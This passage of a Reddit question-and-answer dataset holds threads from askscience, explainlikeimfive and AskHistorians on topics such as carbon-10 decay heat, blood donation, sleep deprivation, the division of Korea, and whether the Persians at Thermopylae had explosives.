power.\n\nWow.\n\nWhat's the steady-state blackbody radiation temperature of such a lump of carbon? As graphite, it would have a radius of about [10.8cm](_URL_5_), and an area of 1459cm^(2). Equating the power with the Stephan-Boltzmann law's Power=\u03c3AT^(4), we find a temperature of\n[102,354 Kelvin](_URL_4_) This is every bit as absurd as the suggested specific power of nearly a terawatt suggests. In fact, given the fact that the decay releases 2.625MeV of energy per atom, we can find that the mass fraction released in the beta decay is 2.8133\u00d710^(-4), a fraction somewhat better than the uranium fission in Little Boy, and so our kilogram releases over the first minute or so of its life about half the energy of that Hiroshima bomb.\n\nGiven that we see nuclear bomb explosions unrolling their destructive blanket over the course of seconds and minutes, we can expect a chunk of anything that decays on that timescale to unleash similarly enormous devastation. Maybe the shockwave wouldn't be the same, being instead a more sustained pressure pulse, but the heat would definitely be there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.wolframalpha.com/input/?i=1Kg%2F\\(atomic+mass+of+10C\\)*0.03593s%5E-1", "https://upload.wikimedia.org/wikipedia/commons/2/23/Fueling_of_the_MSL_MMRTG_001.jpg", "http://www.wolframalpha.com/input/?i=1Kg%2F\\(atomic+mass+of+10C\\)*0.03593s%5E-1*2625.751keV", "https://en.wikipedia.org/wiki/Black-body_radiation", "http://www.wolframalpha.com/input/?i=(908GW%2F(Stephan-Boltzmann+Constant\\)%2F1459cm%5E2\\)%5E(1%2F4\\)", "http://www.wolframalpha.com/input/?i=\\(1Kg%2F\\(carbon+density*10%2F12\\)*3%2F4pi\\)%5E\\(1%2F3\\)", "http://www.periodictable.com/Isotopes/006.10/index2.full.dm.prod.html"]]}
{"q_id": "pj113", "title": "Official AskScience Blood Drive \"I've Donated!\" Thread", "selftext": "This is on the honor system kiddos! Let's play fair. Reply to this thread with #donated to get on the waiting list for flair. If you did a special donation, such as a double red, feel free to include directly after the #donated in your reply. You can also include any fun **related** photos if you'd like!\n\n**Just to let everyone know, I can't even donate blood!**", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pj113/official_askscience_blood_drive_ive_donated_thread/", "answers": {"a_id": ["c3pqrtj", "c3pqzfm", "c3prndz", "c3prpfk", "c3prvvu", "c3ps1l0", "c3ps5mq", "c3psgo9", "c3psqaf", "c3pss52", "c3ptfft", "c3puyom", "c3pv6oo", "c3pwkpf", "c3pyfhs", "c3q147w", "c3q37u3", "c3q7u5h", "c3qomy9", "c3rqp5k", "c3rr2tn", "c3rrddd", "c3rrqye", "c3rtdyb", "c3ru13g", "c3ruu63", "c3rvr8n", "c3rwbxw", "c3rwo00", "c3s9sku", "c3sgldy", "c3stnff", "c3sxebm", "c3sxs9n", "c3syqx5", "c3sz0th", "c3t1cjm", "c3t6dhh", "c3t792q", "c3t9i4w", "c3tpnzc", "c3tu2dl", "c3um5e8", "c3w3rrp", "c432msm", "c48qar4"], "score": [6, 23, 2, 3, 3, 3, 2, 2, 2, 2, 2, 2, 8, 2, 2, 2, 7, 2, 2, 5, 2, 6, 2, 2, 6, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2], "text": ["I volunteer at 1-2 drives a month for my local red cross. Does that count for anything?", "Thank you all for donating. Know that my life has been saved. It took over three thousand blood donors (takes about a thousand to make a dose of immunoglobulin) to save my life. So, thank you all. I wish I could donate, but, I'm not eligible. ", "I donate whenever possible!", "But... But... what if they didn't want my blood?", "I donated bone marrow last year, aspirated from the illiac (pelvic) crest. Hurt like a bastard. There will be blood at some point though, my grandmother needed a transfusion years ago that saved her(died naturally years later) but i never would have known her without it so I figure why not let them harvest me every now and then", "Next time I go, I'll have #donated 5l.", "I #donated several times last year, but went to China in October. After that I've been banned for four months, but that means I'll be good to #donate again in two or three weeks - and the hospital will call me in via text message.", "I #donated a few days ago, luckily enough. It wasn't due to this, but I hope it can still count :-)", "I've always #donated, still do. At least when I fulfill the criteria. Next one in two weeks! :)", "I donated yesterday.  I donated eight weeks before that, and eight weeks before that... for the last five years.\n\nI don't want flair, I just want to tell anyone inspired to donate the first time to go back and do it regularly.", "I am now perennially disqualified from donating blood due to travels in areas prominent with malaria and other bbp's, but when I could donate I loved the process.  The place I went to regularly would always be amazed as I could fall \"asleep\" while donating blood and the blood flow would continue (something like I would continue pumping my hand).  The nurse practitioner there used smelling salts the first few times to make sure I wasn't unconscious.  They never saw anything like it.  I was just so damn relaxed by the cold temperatures and comfortable chairs.  I'm O- so they loved having me come in.\n\nAnyways that's my story.  Hopefully people will see it and won't be so scared of the process.", "I've [#donated](_URL_0_) every time I was able for the last couple years.", "[From the Israeli Defense Force,](_URL_0_) #donated", "I've #donated a couple of times already, started doing it last year. Apparently my blood type is pretty rare over here (A-). ", "#donated\n\nStopped to check reddit before I left to give blood. There was blood drive going on for flair... How convenient. ", "My dad is O- so he donated often. I just donated on monday. Question: All I did was donate blood, as far as I know they never even asked me to donate platelets, what's the deal with that, do you specifically need to ask to donate platelets? This was just a walk-in place I passed on the street.\n\n #donated", "Can't donate blood (low hemoglobin/hematocrit levels due to thal minor - benign blood condition). \nJust `#donated` [$100](_URL_0_) to red cross instead.", "I'm 22 years old and am coming up on my 11th or 12th donation when I go back in April. In the UK you can give every 16 weeks and I do :)\n\n#Donated\n\nMy sister had a miscarridge in June last year and aparrently her haemoglobin levels fell below 3.0 and she required 6 units of blood to save her life. If it wasn't for people like me and people like you then she wouldn't have lived as there was no time to drain our family and not enough of us to help her anyways!. She is alive because of the NHS Blood system and qualified doctors. ", "#donated\n\nJust kidding! I have anemia and Lupus, so I had my boyfriend donate in my place. ^^", "I've #donated every chance I've gotten since I turned 16. I've had nasty arguments defending my choice to donate with my parents and friends, but I'll continue to donate for as long as I can.", "I #donated whenever I can, and I always donate through plasma apherisis, because I'm AB+. AB+ plasma is the universal donor plasma! ", "Canadian and I #donated of course.\n\nI go every few months, although I'm starting to suspect I just like the excuse to duck out of work early. I'm AB+ though so I'm essentially just donating plasma which somewhat cheapens the whole thing but the nurses seem to be really happy with that plasma since it can go to any recipient. My red cells are essentially garbage though sadly.", "#donated at my school a week ago during their blood drive. [Free shirt!](_URL_0_)", "I work for a car dealership. About two weeks ago we did a blood drive. Not for publicity or anything, but we strive to show morals where people see us to be in an industry unfit for them. I gained tremendous respect and loyalty for my company.", "#donated and I do so regularly.  \n\nI also found out a friend has O- blood type so I explained what it meant and persuaded her to start donating.", "I #donated through a work blood drive on Tuesday. Type O- for the win.", "I #donated Jan 17th :-).  There's a blood drive that comes to work every 3~4months and I go everytime!", "I #donated my A+ blood; worked real hard to bring it up from a B-...", "#donated for the first time at my high school blood drive today (I'm in class right now haha, it's about an hour later). It was a wonderfully satisfying deed, I will do it again in my future.", "#donated\n\nI just did it a little while ago, so I'm still waiting to take [THIS](_URL_0_) off.", "_URL_0_\n\nI'm already past 3 gallons, but they won't mail out the pins anymore and I don't want to drive to donation center.  My mom is past 9 gallons.\n\nEDIT: I've been doing double reds lately because I have B- and they beg me to do it, haha.", "I donate every 6 months\n", "I #donated a couple weeks ago. I had been turned away the last few times I tried for low hemoglobin levels (not low enough to be anemic, just not quite high enough to be a donor), so I've been diligently taking iron supplements. I'm happy to be donating again, and I do it as often as I'm allowed.", "I #donated in January.  Will again as soon as I'm allowed (April)", "I don't know how many times I've #donated, but apparently I have been beyond the gallon landmark for quite some time! ", "I donated last week. I declined a sticker, because I just wanted to do it for myself, not for validation from other people. #donated", "#donated last Wednesday! B- baby, I am the 1.4%!", "I've donated 11 times, averaging 3 a year. I'm also registered with DKMS.", "#donated\n\n\nAs promised a fe weeks back, I just donated blood for the first time since college.   I'm 43 so it's been a pretty long time. I can also pretty much guarantee that if I hadn't stumbled across this thread I wouldn't have done it.\n\n\n\n\nThe drive was at First Niagara center home of the Buffalo Sabres and I got  a nice hat for my trouble.\n\n[Front](_URL_0_)\n[back](_URL_1_)\n\n\nI also got a capris sun and a bag of doritos. Not too Shabby.\n", "#donated\n\nPlatelets for me... 2 hours/time, about once a month for me. The worst was when they called and they're like, \"You donated blood a month or so ago. Sorry it took so long to get the test results back but we wanted to talk to you about them [OMG I'M DYING WHAT IS WRONG WITH MY BLOOD]... you have really high platelets. You should be a platelet donor.\" :/", "Apologize for being slow on handing out the blood-drop flair (miscommunication on my part -- thought new mods started helping me with it + being busy last week).\n\n##However, we are now at 138 donors! (A couple people used the other thread).", "I #donated\n\nI have to donate regularly anyways since I have [hemochromatosis](_URL_0_), which is a genetic disease that causes ones body to increase the amount of iron uptake.  I like to joke that I wouldn't stand a chance against Magneto.  ", "I am an 0- type and i have #donated every opportunity since my 16th birthday. ", "Wanted to get my double packed O+ in before I head to Africa...and a yearly #donated ban: [_URL_0_](_URL_0_)\n\nEdit: As a preemie (born @ 25wks) and now a medical professional I want to say a big THANK YOU to everyone who donates - it truly **SAVES LIVES!**", "#donated platelets on 3/17/12! _URL_0_", "Bit late in on the action, but just #donated yesterday for the first time. Hoping to make a habit of it!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], ["http://i.imgur.com/j61Pa.jpg"], ["http://i.imgur.com/JJ1cK.jpg"], [], [], [], ["http://i.imgur.com/Ng8ut.png"], [], [], [], [], [], ["http://i.imgur.com/Rb2K7.jpg"], [], [], [], [], [], [], ["http://imgur.com/cWy2D"], ["http://i.imgur.com/tWdwk.jpg"], [], [], [], [], [], [], [], ["http://imgur.com/D5ZeO", "http://imgur.com/D322B"], [], [], ["http://www.ncbi.nlm.nih.gov/pubmedhealth/PMH0001368/"], [], ["http://i.imgur.com/Q8PU3.jpg"], ["http://i.imgur.com/E1Qzf.jpg"], []]}
{"q_id": "19im69", "title": "north korea vs. south korea", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/19im69/eli5_north_korea_vs_south_korea/", "answers": {"a_id": ["c8od68c"], "score": [3], "text": ["Japan conquered Korea in 1910. In 1945, as World War II was ending, the US took the southern part of Korea from the Japanese while our allies the Russians invaded it from the north. When that war ended, neither the US nor Russia wanted to give up territory the other might benefit from, and so Korea was split into two countries: a Communist north and a democratic south. But the south hasn't really been very democratic and north is run by a dynasty of crazy people, so the situation isn't stable. In 1950, the North launched a war to reunite the country. The US and allied countries stepped in to protect the South, and Russia and China backed the North. The two sides fought each other for 3 years, nobody was winning, and so they finally agreed to a ceasefire. But not a peace treaty. The two sides of Korea still hate each other, each thinks it deserves to run the whole country, and both side are backed by outsiders who won't let their side of Korea lose, so the mess just sits there, threatening to erupt into war again. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bjah9g", "title": "what are the effects of an all nighter on the body and how long does it take to recover?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bjah9g/eli5_what_are_the_effects_of_an_all_nighter_on/", "answers": {"a_id": ["em6vnc3", "em72vo8", "em7e0if", "em7f971", "em7hkhm", "em7hm0y", "em7hx4m", "em7ik1x", "em7iupa", "em7j1el", "em7jcky", "em7nsc6", "em7ntih", "em7ot1w", "em7ykj7"], "score": [393, 7727, 29, 5, 20, 2, 7, 271, 28, 13, 12, 2, 88, 9, 2], "text": ["Cortisol increases in your system and can be damaging to your body in high amounts. Your brain unable to rest builds waste which impairs your cognitive abilities(Memory impairment,fatigued muscles etc...). You may start seeing things if you stay up too long as well.", "During the day, the cells in your brain have a lot of work to do. Each cell is like a little factory working hard to build proteins and shuffle ions around and help you be you; coordinating every plan you make and piece of info you retrieve and breakfast burrito you pick up to eat with massive efforts. So much work! In the process, like any factory, some trash builds up that doesn't get taken out. The cells are simply too busy! You have breakfast burritos to eat and people to recognize!\n\nAt night, your brain (pineal gland what's good!) coordinates a hormone cascade to help get you relaxed and sleepy and off to dreamland. Once you are asleep, the liquid bath that your brain floats in all day becomes the star of the show. Your brain goes into dishwasher self-clean mode! Lots of swishing and sloshing, extra production of the liquid sweeping through the brain. This is when your brain cells can take out their trash and make sure it gets on and out and that proteins out for garbage don't gum up the works. This is just one reason that skipping sleep may make you feel off; your brain did not get to take out it's trash and dump it into the cerebrospinal fluid trash river! The same fluid that steals away toxins and trash proteins also nourishes the cells, getting them primed for all their work the next day!\n\nEdit: Wow! My first ELI5 comment ever, thank you for the gold and silver! I will definitely try to do this again with topics I understand. Cheeeeeers!", "The occasional 24 hour stint shouldn\u2019t effect you too much aside from being fatigued both physically and mentally. I usually have \u201ca day\u201d ranging between 24-36 hours without sleep every week and it\u2019s really not a big deal.", "What if you stay up for 36 or 48 hours?", "I used to have them regularly. Like two or three times a week for a few months. I can\u2019t speak on the science, but it really does a number on you emotionally. Your brain has a tough time regulating itself in that regard when faced with major sleep deprivation.", "Were you part of Dance Marathon?", "Sleeping is leg day for your brain. If you don't sleep regularly you get weak and look frail. I pity the fool!\nDon't skip leg day/sleep.", "It seems no one addressed the second part of OP's question in the title, so I'll try to answer that.\n\nHow long it takes to recover varies by person. I've read before that it takes about two weeks of normal sleep (7 to 9 hours each night) to fully recover from an all nighter.", "How does this affect new parents who haven't had a full night sleep in months?", "And on that note, I\u2019m getting off reddit so I can sleep before my final to hopefully graduate", "Are there any long term effects to losing an excessive amount of sleep like 96 hours?\n\nI used to pull all nighters weekly, and it wasn't strange for my to do 56 hours straight during my undergrad degree. I even did 96 hours at one point, I was non functional, hallucinating like crazy and it basically took me an hour to write a single sentence. Not to mention I experienced what felt like heart palpitations.\n\nSince then I've felt like my long term memory isn't what it used to be, could that possibly be affected by a stint like that?", "If you were drinking all night...the effects on your body: fond memories, laughing, stumbling, possibly puking, and a bit of a hangover. Recovery within 8hrs. Memories of a lifetime.", "Nobody mentioned Testosterone.  You make testosterone when you sleep. Poor sleep or an all-nighter can reduce your testosterone levels, which will make you weaker in the gym. Should recover relatively quickly (a week?). I found zinc and tribulus helpful.  \n\nSource: had sleep apnea for a few years and saw my testosterone and gym performance go to zero (along with my sex drive). I notice similar effects after a red-eye flight.", "While it wasn\u2019t all nighters I just got back from a short vacation. \n\nThursday night to Friday I only slept for about 5 hours because our flight was early. Little did I know I was going to be bunking with my mom...and they kept their house warmer...and my aunts husband had FIVE grandfather clocks. \n\nFriday to Saturday. Saturday to Sunday. Sunday to Monday. I got maybe 4 hours each night total because it was hot, my mom was a lumber mill, and those fucking clocks. \n\nI was absolutely miserable. Sunday was the worst. My mom and aunt wanted me to drive but I told them I couldn\u2019t because I could barely focus.\n\nMonday to Tuesday I slept for like 10 hours and still felt tired. I\u2019m feeling more normalish today", "I\u2019m scared to read this because the military daily life bs usually involved very little sleep"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "7aisa9", "title": "why do online recipes include such long and rambling personal stories?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7aisa9/eli5_why_do_online_recipes_include_such_long_and/", "answers": {"a_id": ["dpa8uj9", "dpa9c9g", "dpaa4f5", "dpaa6nj", "dpaadxi"], "score": [20, 2, 2, 3, 2], "text": ["A lot of freelance bloggers get paid per number of words that they write. I'm sure one or a few people started with the anecdotes before their recipes and it snowballed from there. It's common with other hobbies and crafts too, where you'll see similar things.", "I cannot give you a link. But if you will go to a library and peruse the latest National Geographic magazines, on of the recent ones, within the last few years, is an issue explaining all of this to you. Food is part of celebrations, of life, from pumpkins and Halloween, to eggs and Easter. \n\nThere are very few prep techniques, really. Those are also exhaustively covered. So here is another recipe. Dump pasta into a deep microwave dish. Use bowties, elbows, any pasta in a box practically. Add a vegetable, any canned vegetable although I avoid corn, no vitamins. Add a canned soup. Add enough water for the pasta but not enough to boil over and make a mess. Cover the dish with a paper plate or anything else which can stand the microwave. Heat for 7 minutes and 16 seconds. Go away, watch TV. Come back later. Your soup is done. It is likely to be more than you can eat in a day. But if not just repeat the process with a different vegetable.\n\nYou can push the number 6 three times to time it. But some people avoid that number. You do not want a story. Vary the vegetables for a good diet and for bulk in your diet. I always add tomato soup to tomatoes. But you do not want stories.", "Cookbooks are fun to read when they have personal stories. I buy cookbooks from chefs I admire and like hearing what inspires them or what technique I can use to perfect a dish. If you're just looking for recipes, you can skip all that extra shit. But it draws me into a recipe and gives me some context for what drives the dish. ", "A) Google ranks unique content higher.  Adding a personal story makes your recipe more likely to get higher results in search rankings.\n\nB) They're **bloggers**.  The site is a blog, where you're supposed to talk about stuff.  Having interesting content is more likely to get you subscribers who come back for *every post*, rather than the people ", "It's a recent trend with cookbooks. Back in the day, they'd just give you a list of recipes. Then along came chefs who had individual personalities, and they'd give you some history of the recipe before they laid it out...Some of them had a good literary voice (Julia Child, James Beard) and became the earliest celebrity chefs,.\n\nThen came the glossy cookbooks with the studio photos of how the food would look if someone who wasn't you made it. The blurbs stayed somewhat the same, during this period, but as time went on and people realized the food *never* looked like that, the authors began to expand the description.\n\nSo, in the current day, what you basically have is r/pics: unrelated picture attached to a massive personal story that tries to influence you to buy/recommend/upvote the recipe by pulling on your heartstrings rather than having any intrinsic quality."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "8jtu1l", "title": "how come the roof of my mouth isn't flat?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8jtu1l/eli5_how_come_the_roof_of_my_mouth_isnt_flat/", "answers": {"a_id": ["dz2je31"], "score": [3], "text": ["Evolution isn't a guided process, so it's hard to answer \"Why hasn't a thing evolved to be xyz\" beyond the fact that that thing has either not arisen in the first place, or there isn't significant selective pressure to make it a dominant trait if it has. Why do you think the roof of your mouth should be flat?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "nb845", "title": "What's wrong with this baby?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nb845/whats_wrong_with_this_baby/", "answers": {"a_id": ["c37pk4n", "c37pzyb", "c37r2v6", "c37rjns", "c37rzhn", "c37pk4n", "c37pzyb", "c37r2v6", "c37rjns", "c37rzhn"], "score": [7, 5, 3, 2, 4, 7, 5, 3, 2, 4], "text": ["Possibly hypertrichosis?\n\n_URL_0_", "That baby is beautiful.\n\nIt looks like Ambras Syndrome to me. I have read that in females it can be more patchy.", "Looks like Nevoid hypertrichosis. \n\nStill as cute as a button though :-) ", "Hi, French Guy here. I got almost the same thing this baby has but on my upper left cheek and my left part of hair. But my doctor told me there was case like this baby.\nI had to do some research to find the english medical term, it's called Becker Nevus [_URL_0_]\nI strongly advise to consult a specialist to have a medical file. Only him can told the exact nature of these hairs. \nBecause as others said it could be Ambras syndrome as well.", "This thread appears is a bit too close to violating the no medical advice.  Ask your old friend what their doctor called the condition.  I know you may legitimately be curious about a distant friend's baby's medical condition and asking them may be a sensitive subject.  However, we don't want askscience potentially substituting for practicing MDs who can run relevant tests have the full relevant history and make medical decisions, rather than giving their first guess based off of a single internet photo.", "Possibly hypertrichosis?\n\n_URL_0_", "That baby is beautiful.\n\nIt looks like Ambras Syndrome to me. I have read that in females it can be more patchy.", "Looks like Nevoid hypertrichosis. \n\nStill as cute as a button though :-) ", "Hi, French Guy here. I got almost the same thing this baby has but on my upper left cheek and my left part of hair. But my doctor told me there was case like this baby.\nI had to do some research to find the english medical term, it's called Becker Nevus [_URL_0_]\nI strongly advise to consult a specialist to have a medical file. Only him can told the exact nature of these hairs. \nBecause as others said it could be Ambras syndrome as well.", "This thread appears is a bit too close to violating the no medical advice.  Ask your old friend what their doctor called the condition.  I know you may legitimately be curious about a distant friend's baby's medical condition and asking them may be a sensitive subject.  However, we don't want askscience potentially substituting for practicing MDs who can run relevant tests have the full relevant history and make medical decisions, rather than giving their first guess based off of a single internet photo."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Hypertrichosis"], [], [], ["http://en.wikipedia.org/wiki/Becker's_nevus"], [], ["http://en.wikipedia.org/wiki/Hypertrichosis"], [], [], ["http://en.wikipedia.org/wiki/Becker's_nevus"], []]}
{"q_id": "3fy70t", "title": "are dark-skinned people in northern climates more susceptible to seasonal depression and other problems caused by vitamin d deficiency?", "selftext": "I know that dark skin evolved in equatorial areas to protect us from damage from excessive sunlight. In more Northern climates (and Antarctica) though dark skin is a problem because we actually need all the sunlight we can get because there's much less and we need it to stimulate vitamin D production. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3fy70t/eli5_are_darkskinned_people_in_northern_climates/", "answers": {"a_id": ["ctt2qe7", "cttixim"], "score": [10, 3], "text": ["Dark skinned people in northern climes are more susceptible to rickets, which is caused by vitamin D deficiency in growing children. So nowadays milk and juice is enriched with vitamin D, plus vitamin D supplementation is recommended.", "Dark person here, short answer is yes. Source: my doctor.\n\nLong answer:\nIndividuals with darker skin tones are naturally more susceptible to vitamin D insufficiency and deficiency. Progressively darker skin is progressively more susceptible to vitamin D insufficiency. Darker skin, which contains more melanin than relatively lighter skin, offers natural protection from UV radiation. This means that darker-skinned individuals need to spend more time in the sun before pre-vitamin D cells in the skin are prompted to produce vitamin D. According to Hall, et. al. (2010), \u201cMelanin, the principal skin pigment, reduces but does not block cholecalciferol [vitamin D3] synthesis. Thus, longer periods of sun exposure are required for equivalent vitamin D synthesis in people of African ancestry compared with those of European ancestry.\u201d Also, \u201cat all latitudes the skin must have enough melanin to block harmful solar UV while letting in enough UVB for vitamin D synthesis. Since the tropical zone has intense year-round sunlight, even very dark skin can produce sufficient vitamin D for the body\u2019s needs. [\u2026] however, when dark-skinned humans move to the temperate zone [\u2026] their skin now screens out too much UVB and produces too little vitamin D.\u201d (Frost, 2009). According to Cannell (2008), people with dark skin need to spend 5-10 times longer in direct sun exposure than do people with light skin to achieve similar vitamin D production.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2wsghq", "title": "if isil is \"heavily recruiting online\" like i keep hearing shouldn't it be relatively easy to infiltrate their ranks with undercover agents?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2wsghq/eli5_if_isil_is_heavily_recruiting_online_like_i/", "answers": {"a_id": ["cotoiga", "cotoj04", "cotowvf", "cotq15q", "cotxmzk", "coty1yz"], "score": [6, 6, 27, 5, 8, 5], "text": ["They will make you do things you wouldnt do if you were a federal agent", "There are not a lot of 15-19 year old undercover agents.", "Infiltrate them? Yes. Infiltrate them in a way that could actually be beneficial and ethical? No. \n\nISIS works with a cell structure. If you get recruited, you end up in the lowest level cells. Only the high level cells have any sort of valuable information. The way to work yourself up to these high level cells is to constantly apply yourself to their dogma and prove your worth. You know, by killing people. There is no agency in the world that is going to send their agents to kill lots of innocent people in the hope that maybe some day they end up high enough in the structure to maybe pass on something valuable. ", "You think we're not?", "You send somebody to infiltrate them. 2 days later your infiltrator is given an assignment to do a suicide bombing. 1 day after that you no longer have an infiltrator.", "To put it very shortly -  \nYou can't get useful information about ISIS by being recruited online and working your way up, in the same way that you can't get useful US military intelligence by signing up for basic training."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1u0j7u", "title": "Are the books 'a study of history' by Toynbee and 'the decline of the west' by Spengler worth it?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1u0j7u/are_the_books_a_study_of_history_by_toynbee_and/", "answers": {"a_id": ["cedf2aq"], "score": [3], "text": ["Spengler is still worth it, but not as a study of history. He is best understood as providing a teleology of thought and reconsidering thought itself as something bound to cultural conceptions. This is a very interesting argument and is worth reading. His historical knowledge is encyclopedic but  his theory of cyclical history is too vast to be analyzed within the confines of the academy. Spengler as a thinker is rarely grappled with today because we are no longer asking the same questions he did about history.\n\n\nToynbee is tightly bound to his culturally defined concept of \"civilization\", which causes him to define the Inuit, the Jews, etc. as \"arrested civilizations\" or \"fossil civilizations\". He obviously has a lot of ideas but I don't see his work as providing nearly as much insight."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "10583i", "title": "filling out surveys for money  &  does it work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/10583i/eli5_filling_out_surveys_for_money_does_it_work/", "answers": {"a_id": ["c6aicx3", "c6ajydk", "c6ak1ze"], "score": [5, 4, 2], "text": ["It works, but for the amount of time it takes for the amount you get, you may as well get a real job. ", "Shhh...\n\n_URL_0_\n\n_URL_1_\n\nI made about $20 doing it for about 4 hours combined during a relatively slow work week. More productive than fucking around on reddit all day if you're just going to sit on the internets.", "Yes it works, though it's a bigger pain in the ass than a real job, you can usually keep yourself in milk money.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/mturk", "https://www.mturk.com/mturk/welcome"], []]}
{"q_id": "413vp7", "title": "why can't you reverse a voice mimicked reversal of a sound to get the original sound back?", "selftext": "Like if you were to say \"Happy\" into your computer, then play it back bacwards you'd get a weird sounding reverse word, but when you use your voice to mimick that weird sounding reverse word, the reverse that, it sounds nothing at all like \"Happy\" ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/413vp7/eli5_why_cant_you_reverse_a_voice_mimicked/", "answers": {"a_id": ["cyzclgj", "cyzic8o"], "score": [5, 3], "text": ["You can.  It sounds like you're just poorly mimicking the reverse word.  This is a gimmick lots of singer-songwriters use in live performances, they'll use their guitar loopstation to speak an audience members name, reverse it, mimic it, and play it back and it sounds like he's saying the name all weird... but it definitely still says the name.  ", "When you reverse the sound, you wind up with certain sound patterns that we are physically incapable of reproducing. Consider stop consonants like \"t\" or \"k\". We produce these by obstructing the flow of air with our tongue. Air pressure builds up. Then we release the air, causing a sudden pressure wave to travel out. This is akin to what you get when you hit an object with another; a brief burst of white noise that we might call a \"click\" (not to be confused with the more precise concept of a click consonant, in phonetics).\n\nAnyway, it's easy to do this forward--build up pressure, release. Now, how can you do that in reverse? Have a sudden, increasing onrush of air that stops as it is perfectly encapsulated by an obstruction in the vocal tract? You can't. It's impossible. (I believe it might actually be *thermodynamically* impossible, but I'm not a physicist.)\n\nSo, when you mimic reversed sounds, you can't do it very well. It's physically impossible. However, we're not good at recognising these physically-impossible vocal sounds, because they don't exist in nature. Consequently, you think your impression sounds a lot like the reversed sounds, even though if you look at the waveform (or better yet, a Fourier transform of it), you'll see your mimicking isn't anywhere close. The difference becomes far more apparent when you reverse both, as you are now comparing normal speech to a reversed, failed attempt to mimic totally unnatural sounds."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1f74pz", "title": "Were Stalin's Five Year Plans from 1928 until the start of World War II in 1939 a (or even THE) cause of the USSR's victory in the Eastern Front in World War 2?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1f74pz/were_stalins_five_year_plans_from_1928_until_the/", "answers": {"a_id": ["ca7jv5q"], "score": [2], "text": ["I *think* that the Five Year Plans also \"necessitated\" the purging of military officials to concentrate Stalin's power. At least in his \"Europe: A History,\" Norman Davies argued that these purges made the USSR less prepared for another war with Germany that it would have been otherwise.\n\nI'd be interested in an expert opinion on whether the Ukrainian famine \u2013 which resulted from a Five Year Plan \u2013 killed enough men of service age, and whether there were significantly more Belorussian servicemen than Ukrainian as a result."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2jod58", "title": "In the time of Spartans (up to 371BC) did the persians actually have the items in the movie? (grenades etc.)", "selftext": "Im wondering if the persians vsing sparta had the bombs and chemical concoctions that was prevalent in the movie ? and if so could you provide a source? thank you  very much ive always wondered this ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2jod58/in_the_time_of_spartans_up_to_371bc_did_the/", "answers": {"a_id": ["cldkffn", "cldkmmz"], "score": [3, 4], "text": ["well black power used for 'explosives' originated in China around the tenth century and was used in fireworks and signals. So it's highly unlikely that there had been explosives in the battle of thermopylae, especially since Zack Snyder's 300 is a movie adaptation of a graphic novel, hence many elements may have been made up/exaggerated. ", "No, the Achaemenid Persians did not have gunpowder (which wouldn't be invented until over a thousand years after the Battle of Thermopylae) and I have never encountered any source that would back the notion that they had some sort of hand bombs packed with some chemical substance (incendiaries and whatnot). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4aio2s", "title": "Which American president most resembles Donald Trump in his ability to drum up populist fervour?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4aio2s/which_american_president_most_resembles_donald/", "answers": {"a_id": ["d10o4f0"], "score": [2], "text": ["This submission has been removed because it involves current events.  To keep from discussion of politics, we have a [20-year rule](_URL_1_) here.  You may want to try /r/ask_politics or another current-events focused sub. For further explanation of this rule, feel free to consult [this Rules Roundtable](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/45wqkl/rules_roundtable_5_the_current_eventsmodern/", "http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_current_events"]]}
